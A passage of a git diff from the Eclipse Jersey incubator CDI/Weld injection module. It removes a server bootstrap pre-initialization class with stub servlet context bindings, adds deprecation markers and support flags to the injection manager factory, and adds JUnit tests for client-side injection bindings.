+            list.addAll(instanceBinding.getServices());
+        }
+
+        ClassListBinding<T> classBinding = (ClassListBinding<T>) userClassBindings.get(contract);
+        if (classBinding != null) {
+            list.addAll(classBinding.getServices());
+        } else if (isAnnotationPresent(contract, Path.class)) {
+            classBinding = (ClassListBinding<T>) userPathBindings.get(contract);
+            list.addAll(classBinding.getServices());
+        }
+
+        return list;
+    }
+
+    private boolean isAnnotationPresent(Type contract, Class<? extends Annotation> annotation) {
+        return isClass(contract) && ((Class) contract).isAnnotationPresent(annotation);
+    }
+
+    private boolean isClass(Type contract) {
+        return Class.class.isInstance(contract);
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
deleted file mode 100644
index 826c52f..0000000
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
+++ /dev/null
@@ -1,629 +0,0 @@
-/*
- * Copyright (c) 2022 Contributors to the Eclipse Foundation
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.inject.weld.internal.managed;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.inject.Singleton;
-import jakarta.servlet.Filter;
-import jakarta.servlet.FilterConfig;
-import jakarta.servlet.FilterRegistration;
-import jakarta.servlet.RequestDispatcher;
-import jakarta.servlet.Servlet;
-import jakarta.servlet.ServletConfig;
-import jakarta.servlet.ServletContext;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.ServletRegistration;
-import jakarta.servlet.SessionCookieConfig;
-import jakarta.servlet.SessionTrackingMode;
-import jakarta.servlet.descriptor.JspConfigDescriptor;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.GenericType;
-
-import org.glassfish.grizzly.http.server.Request;
-import org.glassfish.grizzly.http.server.Response;
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.collection.Ref;
-import org.glassfish.jersey.model.internal.CommonConfig;
-import org.glassfish.jersey.model.internal.ComponentBag;
-import org.glassfish.jersey.process.internal.RequestScoped;
-import org.glassfish.jersey.server.wadl.WadlFeature;
-import org.glassfish.jersey.server.wadl.processor.OptionsMethodProcessor;
-import org.glassfish.jersey.server.wadl.processor.WadlModelProcessor;
-import org.glassfish.jersey.servlet.WebConfig;
-import org.glassfish.jersey.servlet.spi.AsyncContextDelegateProvider;
-import org.glassfish.jersey.servlet.spi.FilterUrlMappingsProvider;
-
-import java.io.InputStream;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.util.Collections;
-import java.util.Enumeration;
-import java.util.EventListener;
-import java.util.Map;
-import java.util.Set;
-
-
-/**
- * Jersey server side pre-initialization implementation.
- */
-// TODO : put to a proper module
-public class ServerBootstrapPreinitialization implements BootstrapPreinitialization {
-
-
-    /**
-     * Referencing factory for Grizzly request.
-     */
-    private static class GrizzlyRequestReferencingFactory extends ReferencingFactory<Request> {
-
-        @Inject
-        public GrizzlyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * Referencing factory for Grizzly response.
-     */
-    private static class GrizzlyResponseReferencingFactory extends ReferencingFactory<Response> {
-
-        @Inject
-        public GrizzlyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    @SuppressWarnings("JavaDoc")
-    private static class HttpServletRequestReferencingFactory extends ReferencingFactory<HttpServletRequest> {
-
-        @Inject
-        public HttpServletRequestReferencingFactory(final Provider<Ref<HttpServletRequest>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    @SuppressWarnings("JavaDoc")
-    private static class HttpServletResponseReferencingFactory extends ReferencingFactory<HttpServletResponse> {
-
-        @Inject
-        public HttpServletResponseReferencingFactory(final Provider<Ref<HttpServletResponse>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    private static class WebConfigInitializer implements WebConfig {
-
-        @Override
-        public ConfigType getConfigType() {
-            return ConfigType.ServletConfig;
-        }
-
-        @Override
-        public ServletConfig getServletConfig() {
-            return new ServletConfig() {
-                @Override
-                public String getServletName() {
-                    return "Preinit";
-                }
-
-                @Override
-                public ServletContext getServletContext() {
-                    return WebConfigInitializer.this.getServletContext();
-                }
-
-                @Override
-                public String getInitParameter(String name) {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<String> getInitParameterNames() {
-                    return null;
-                }
-            };
-        }
-
-        @Override
-        public FilterConfig getFilterConfig() {
-            return null;
-        }
-
-        @Override
-        public String getName() {
-            return "Preinit";
-        }
-
-        @Override
-        public String getInitParameter(String name) {
-            return getName();
-        }
-
-        @Override
-        public Enumeration getInitParameterNames() {
-            return null;
-        }
-
-        @Override
-        public ServletContext getServletContext() {
-            return new ServletContext() {
-                @Override
-                public String getContextPath() {
-                    return null;
-                }
-
-                @Override
-                public ServletContext getContext(String uripath) {
-                    return WebConfigInitializer.this.getServletContext();
-                }
-
-                @Override
-                public int getMajorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public int getMinorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public int getEffectiveMajorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public int getEffectiveMinorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public String getMimeType(String file) {
-                    return null;
-                }
-
-                @Override
-                public Set<String> getResourcePaths(String path) {
-                    return null;
-                }
-
-                @Override
-                public URL getResource(String path) throws MalformedURLException {
-                    return null;
-                }
-
-                @Override
-                public InputStream getResourceAsStream(String path) {
-                    return null;
-                }
-
-                @Override
-                public RequestDispatcher getRequestDispatcher(String path) {
-                    return null;
-                }
-
-                @Override
-                public RequestDispatcher getNamedDispatcher(String name) {
-                    return null;
-                }
-
-                @Override
-                public void log(String msg) {
-
-                }
-
-                @Override
-                public void log(String message, Throwable throwable) {
-
-                }
-
-                @Override
-                public String getRealPath(String path) {
-                    return null;
-                }
-
-                @Override
-                public String getServerInfo() {
-                    return null;
-                }
-
-                @Override
-                public String getInitParameter(String name) {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<String> getInitParameterNames() {
-                    return null;
-                }
-
-                @Override
-                public boolean setInitParameter(String name, String value) {
-                    return false;
-                }
-
-                @Override
-                public Object getAttribute(String name) {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<String> getAttributeNames() {
-                    return null;
-                }
-
-                @Override
-                public void setAttribute(String name, Object object) {
-
-                }
-
-                @Override
-                public void removeAttribute(String name) {
-
-                }
-
-                @Override
-                public String getServletContextName() {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addServlet(String servletName, String className) {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addServlet(String servletName, Servlet servlet) {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass) {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addJspFile(String servletName, String jspFile) {
-                    return null;
-                }
-
-                @Override
-                public <T extends Servlet> T createServlet(Class<T> clazz) throws ServletException {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration getServletRegistration(String servletName) {
-                    return null;
-                }
-
-                @Override
-                public Map<String, ? extends ServletRegistration> getServletRegistrations() {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration.Dynamic addFilter(String filterName, String className) {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration.Dynamic addFilter(String filterName, Filter filter) {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration.Dynamic addFilter(String filterName, Class<? extends Filter> filterClass) {
-                    return null;
-                }
-
-                @Override
-                public <T extends Filter> T createFilter(Class<T> clazz) throws ServletException {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration getFilterRegistration(String filterName) {
-                    return null;
-                }
-
-                @Override
-                public Map<String, ? extends FilterRegistration> getFilterRegistrations() {
-                    return null;
-                }
-
-                @Override
-                public SessionCookieConfig getSessionCookieConfig() {
-                    return null;
-                }
-
-                @Override
-                public void setSessionTrackingModes(Set<SessionTrackingMode> sessionTrackingModes) {
-
-                }
-
-                @Override
-                public Set<SessionTrackingMode> getDefaultSessionTrackingModes() {
-                    return null;
-                }
-
-                @Override
-                public Set<SessionTrackingMode> getEffectiveSessionTrackingModes() {
-                    return null;
-                }
-
-                @Override
-                public void addListener(String className) {
-
-                }
-
-                @Override
-                public <T extends EventListener> void addListener(T t) {
-
-                }
-
-                @Override
-                public void addListener(Class<? extends EventListener> listenerClass) {
-
-                }
-
-                @Override
-                public <T extends EventListener> T createListener(Class<T> clazz) throws ServletException {
-                    return null;
-                }
-
-                @Override
-                public JspConfigDescriptor getJspConfigDescriptor() {
-                    return null;
-                }
-
-                @Override
-                public ClassLoader getClassLoader() {
-                    return null;
-                }
-
-                @Override
-                public void declareRoles(String... roleNames) {
-
-                }
-
-                @Override
-                public String getVirtualServerName() {
-                    return null;
-                }
-
-                @Override
-                public int getSessionTimeout() {
-                    return 0;
-                }
-
-                @Override
-                public void setSessionTimeout(int sessionTimeout) {
-
-                }
-
-                @Override
-                public String getRequestCharacterEncoding() {
-                    return null;
-                }
-
-                @Override
-                public void setRequestCharacterEncoding(String encoding) {
-
-                }
-
-                @Override
-                public String getResponseCharacterEncoding() {
-                    return null;
-                }
-
-                @Override
-                public void setResponseCharacterEncoding(String encoding) {
-
-                }
-            };
-        }
-    }
-
-    private static class PreinitializationFeatureContext implements FeatureContext {
-
-        private final AbstractBinder binder;
-
-        private PreinitializationFeatureContext(AbstractBinder binder) {
-            this.binder = binder;
-        }
-
-        @Override
-        public Configuration getConfiguration() {
-            return new CommonConfig(RuntimeType.SERVER, ComponentBag.INCLUDE_ALL);
-        }
-
-        @Override
-        public FeatureContext property(String name, Object value) {
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass) {
-            binder.bindAsContract(componentClass);
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass, int priority) {
-            binder.bindAsContract(componentClass).ranked(priority);
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass, Class<?>... contracts) {
-            final ClassBinding binding = binder.bind(componentClass);
-            if (contracts != null) {
-                for (Class<?> contract : contracts) {
-                    binding.to(contract);
-                }
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass, Map<Class<?>, Integer> contracts) {
-            for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
-                final AbstractBinder abstractBinder = new AbstractBinder() {
-                    @Override
-                    protected void configure() {
-                    }
-                };
-                final ClassBinding binding = abstractBinder.bind(componentClass);
-                binding.to(contract.getKey()).ranked(contract.getValue());
-                binder.install(abstractBinder);
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component) {
-            if (AbstractBinder.class.isInstance(component)) {
-                binder.install((AbstractBinder) component);
-            } else {
-                binder.bind(component).to(component.getClass());
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component, int priority) {
-            binder.bind(component).to(component.getClass()).ranked(priority);
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component, Class<?>... contracts) {
-            Binding binding = binder.bind(component);
-            if (contracts != null) {
-                for (Class<?> contract : contracts) {
-                    binding.to(contract);
-                }
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component, Map<Class<?>, Integer> contracts) {
-            for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
-                final AbstractBinder abstractBinder = new AbstractBinder() {
-                    @Override
-                    protected void configure() {
-                    }
-                };
-                final Binding binding = abstractBinder.bind(component);
-                binding.to(contract.getKey()).ranked(contract.getValue());
-                binder.install(abstractBinder);
-            }
-            return this;
-        }
-    }
-
-    @Override
-    public void register(RuntimeType runtimeType, AbstractBinder binder) {
-//        binder.install(new MessagingBinders.MessageBodyProviders(null, RuntimeType.SERVER),
-//                new MessagingBinders.HeaderDelegateProviders());
-//
-//        // Server Binder
-//        binder.install(new MappableExceptionWrapperInterceptor.Binder(),
-//                new MonitoringContainerListener.Binder());
-//        binder.bind(ChunkedResponseWriter.class).to(MessageBodyWriter.class).in(Singleton.class);
-//        binder.bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class);
-
-        if (runtimeType == RuntimeType.SERVER) {
-            // new ApplicationHandler(new ResourceConfig());
-
-            //grizzly
-            binder.bindFactory(GrizzlyRequestReferencingFactory.class).to(Request.class)
-                    .proxy(false).in(RequestScoped.class);
-            binder.bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
-                    .in(RequestScoped.class);
-
-            binder.bindFactory(GrizzlyResponseReferencingFactory.class).to(Response.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
-            binder.bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
-                    .in(RequestScoped.class);
-
-            // servlet
-            binder.bindFactory(HttpServletRequestReferencingFactory.class).to(HttpServletRequest.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
-
-            binder.bindFactory(ReferencingFactory.referenceFactory())
-                    .to(new GenericType<Ref<HttpServletRequest>>() {}).in(RequestScoped.class);
-
-            binder.bindFactory(HttpServletResponseReferencingFactory.class).to(HttpServletResponse.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
-            binder.bindFactory(ReferencingFactory.referenceFactory())
-                    .to(new GenericType<Ref<HttpServletResponse>>() {}).in(RequestScoped.class);
-
-            final WebConfig webConfig = new WebConfigInitializer();
-            final Map<String, Object> applicationProperties = Collections.EMPTY_MAP;
-
-            binder.bindFactory(() -> webConfig.getServletContext()).to(ServletContext.class).in(Singleton.class);
-            binder.bindFactory(() -> webConfig).to(WebConfig.class).in(Singleton.class);
-            binder.install(
-                    new ServiceFinderBinder<>(AsyncContextDelegateProvider.class, applicationProperties, RuntimeType.SERVER));
-            binder.install(
-                    new ServiceFinderBinder<>(FilterUrlMappingsProvider.class, applicationProperties, RuntimeType.SERVER));
-
-            final ServletConfig servletConfig = webConfig.getServletConfig();
-            binder.bindFactory(() -> servletConfig).to(ServletConfig.class).in(Singleton.class);
-
-            // WADL TODO put to a proper module
-            try {
-                new WadlFeature().configure(new PreinitializationFeatureContext(binder) {
-                    @Override
-                    public FeatureContext register(Class<?> componentClass) {
-                        if (WadlModelProcessor.class.isAssignableFrom(componentClass)) {
-                            super.register(WadlModelProcessor.OptionsHandler.class);
-                        }
-                        super.register(componentClass);
-                        return this;
-                    }
-                });
-            } catch (Exception e) {
-
-            }
-            try {
-                Class[] classes = OptionsMethodProcessor.class.getDeclaredClasses();
-                for (Class clz : classes) {
-                    binder.bindAsContract(clz);
-                }
-            } catch (Exception e) {
-
-            }
-        }
-
-//
-//        //ApplicationConfigurator
-//        binder.bind(new InitializableInstanceBinding((Application) null).to(Application.class));
-    }
-}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java
index ad7ac01..ea56bd8 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import jakarta.annotation.Priority;
 import jakarta.enterprise.context.spi.CreationalContext;
 import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Configuration;
 
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
@@ -33,12 +34,27 @@
 @Priority(20)
 public class CdiInjectionManagerFactory extends CdiInjectionManagerFactoryBase implements InjectionManagerFactory {
 
+    /**
+     * True when @Context mixed with @Inject is to be supported
+     */
+    public static boolean SUPPORT_CONTEXT = true;
+
+    /**
+     * True when CDI injection on client is supported
+     */
+    public static boolean SUPPORT_CLIENT = true;
+
     @Override
-    // TODO deprecate this in favor of #create(Object parent, RuntimeType runtimeType)
+    @Deprecated
     public InjectionManager create(Object parent) {
         return create(parent, getRuntimeType());
     }
 
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent, configuration.getRuntimeType());
+    }
+
     /**
      * Create injectionManager for {@link RuntimeType#CLIENT or get the existing injection manager for the server}
      * @param parent Parent injection manager. Not used in this InjectionManagerFactory.
@@ -62,7 +78,7 @@
         }
     }
 
-    // TODO refactor to call InjectionManagerFactory#create(Object, RuntimeType);
+    @Deprecated
     private static RuntimeType getRuntimeType() {
         Exception e = new RuntimeException();
         for (StackTraceElement element : e.getStackTrace()) {
diff --git a/incubator/cdi-inject-weld/src/main/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization b/incubator/cdi-inject-weld/src/main/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
deleted file mode 100644
index 9e2e9ad..0000000
--- a/incubator/cdi-inject-weld/src/main/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-org.glassfish.jersey.inject.weld.internal.managed.ClientBootstrapPreinitialization
-org.glassfish.jersey.inject.weld.internal.managed.ServerBootstrapPreinitialization
\ No newline at end of file
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
new file mode 100644
index 0000000..beb75bd
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld;
+
+import org.glassfish.jersey.internal.inject.Injections;
+import org.junit.jupiter.api.BeforeEach;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ClientTestParent extends TestParent {
+    @BeforeEach
+    public void init() {
+        injectionManager = Injections.createInjectionManager(RuntimeType.CLIENT);
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/TestParent.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/TestParent.java
new file mode 100644
index 0000000..b89a179
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/TestParent.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld;
+
+import jakarta.enterprise.inject.se.SeContainer;
+import jakarta.enterprise.inject.se.SeContainerInitializer;
+
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.Injections;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.BeforeAll;
+
+import java.util.List;
+
+public class TestParent {
+    protected static SeContainer container;
+    protected InjectionManager injectionManager;
+
+    @BeforeAll
+    public static void setup() {
+        SeContainerInitializer containerInitializer = SeContainerInitializer.newInstance();
+        container = containerInitializer.initialize();
+    }
+
+    @BeforeEach
+    public void init() {
+        injectionManager = Injections.createInjectionManager();
+    }
+
+    @AfterAll
+    public static void tearDown() throws Exception {
+        container.close();
+    }
+
+    protected <T> void assertOneInstance(Class<T> type, String implementationName) {
+        Assertions.assertEquals(1, injectionManager.getAllInstances(type).size());
+        Assertions.assertEquals(1, injectionManager.getAllServiceHolders(type).size());
+        T provider = injectionManager.getInstance(type);
+        Assertions.assertNotNull(provider);
+        Assertions.assertTrue(provider.getClass().getName().contains(implementationName),
+                "The provider name was " + provider.getClass().getName() + " but expected was " + implementationName);
+    }
+
+    protected <T> void assertMultiple(Class<T> type, int minCount, String... implementationNames) {
+        assertMultiple(injectionManager, type, minCount, implementationNames);
+    }
+
+    public static <T> void assertMultiple(
+            InjectionManager injectionManager, Class<T> type, int minCount, String... implementationNames) {
+        List<T> instances = injectionManager.getAllInstances(type);
+        Assertions.assertTrue(instances.size() >= minCount, type.getSimpleName() + " instances " + instances.size());
+        for (String implName : implementationNames) {
+            Assertions.assertTrue(instances.stream().anyMatch(i -> i.getClass().getSimpleName().equals(implName)),
+                    implName + " was not found among the instances");
+        }
+
+        List<ServiceHolder<T>> holders = injectionManager.getAllServiceHolders(type);
+        Assertions.assertTrue(holders.size() >= minCount, type.getSimpleName() + " service holders " + instances.size());
+        for (String implName : implementationNames) {
+            Assertions.assertTrue(holders.stream().anyMatch(h -> h.getInstance().getClass().getSimpleName().equals(implName)),
+                    implName + " was not found among the service holders");
+        }
+    }
+
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientBindingsTest.java
new file mode 100644
index 0000000..4b618d8
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientBindingsTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.client.ClientBootstrapBag;
+import org.glassfish.jersey.client.ClientBootstrapPreinitialization;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.inject.ParameterUpdaterProvider;
+import org.glassfish.jersey.client.internal.inject.ParameterUpdaterConfigurator;
+import org.glassfish.jersey.inject.weld.ClientTestParent;
+import org.glassfish.jersey.internal.BootstrapBag;
+import org.glassfish.jersey.internal.ContextResolverFactory;
+import org.glassfish.jersey.internal.ExceptionMapperFactory;
+import org.glassfish.jersey.internal.JaxrsProviders;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.glassfish.jersey.internal.spi.AutoDiscoverable;
+import org.glassfish.jersey.message.MessageBodyWorkers;
+import org.glassfish.jersey.message.internal.MessageBodyFactory;
+import org.glassfish.jersey.spi.ContextResolvers;
+import org.glassfish.jersey.spi.ExceptionMappers;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.ext.ParamConverterProvider;
+import jakarta.ws.rs.ext.Providers;
+import java.util.List;
+
+public class ClientBindingsTest extends ClientTestParent {
+    @Test
+    void testConfigurationInjection() {
+        injectionManager.completeRegistration();
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertOneInstance(Configuration.class, "ClientConfig$State");
+    }
+
+    @Test
+    void testParamConverterProvider() {
+        injectionManager.completeRegistration();
+        // new ParamConverterConfigurator().init(injectionManager, (BootstrapBag) null); requires Configuration
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertOneInstance(ParamConverterProvider.class, "AggregatedProvider");
+    }
+
+    @Test
+    void testParameterUpdaterProvider() {
+        injectionManager.completeRegistration();
+        new ParameterUpdaterConfigurator().init(injectionManager, new ClientBootstrapBag());
+        assertOneInstance(ParameterUpdaterProvider.class, "ParameterUpdaterFactory");
+    }
+
+    @Test
+    void testContextResolvers() {
+        injectionManager.completeRegistration();
+
+        ClientBootstrapBag cbb = new ClientBootstrapBag();
+        cbb.setConfiguration(new ClientConfig());
+        new ContextResolverFactory.ContextResolversConfigurator().init(injectionManager, cbb);
+        assertOneInstance(ContextResolvers.class, "ContextResolverFactory");
+    }
+
+    @Test
+    void testExceptionMappers() {
+        injectionManager.completeRegistration();
+
+        ClientBootstrapBag cbb = new ClientBootstrapBag();
+        cbb.setConfiguration(new ClientConfig());
+        new ExceptionMapperFactory.ExceptionMappersConfigurator().init(injectionManager, cbb);
+        assertOneInstance(ExceptionMappers.class, "ExceptionMapperFactory");
+    }
+
+    @Test
+    void testProviders() {
+        injectionManager.completeRegistration();
+        new JaxrsProviders.ProvidersConfigurator().init(injectionManager, (BootstrapBag) null);
+        assertOneInstance(Providers.class, "JaxrsProviders");
+    }
+
+    @Test
+    void testAutoDiscoverable() {
+        injectionManager.completeRegistration();
+        // new AutoDiscoverableConfigurator(RuntimeType.CLIENT).init(injectionManager, new ClientBootstrapBag()); config
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertMultiple(AutoDiscoverable.class, 2, "LoggingFeatureAutoDiscoverable");
+    }
+
+    @Test
+    void testMessageBodyWorkers() {
+        injectionManager.completeRegistration();
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertOneInstance(MessageBodyWorkers.class, "MessageBodyFactory");
+    }
+
+    @Test
+    void clientOnlyInstancesTest() {
+        injectionManager.completeRegistration();
+        List<ClientOnlyPreinitialization.ClientOnlyInterface> instances =
+                injectionManager.getAllInstances(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+
+    @Test
+    void clientOnlyServiceHoldersTest() {
+        injectionManager.completeRegistration();
+        List<ServiceHolder<ClientOnlyPreinitialization.ClientOnlyInterface>> instances =
+                injectionManager.getAllServiceHolders(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+}
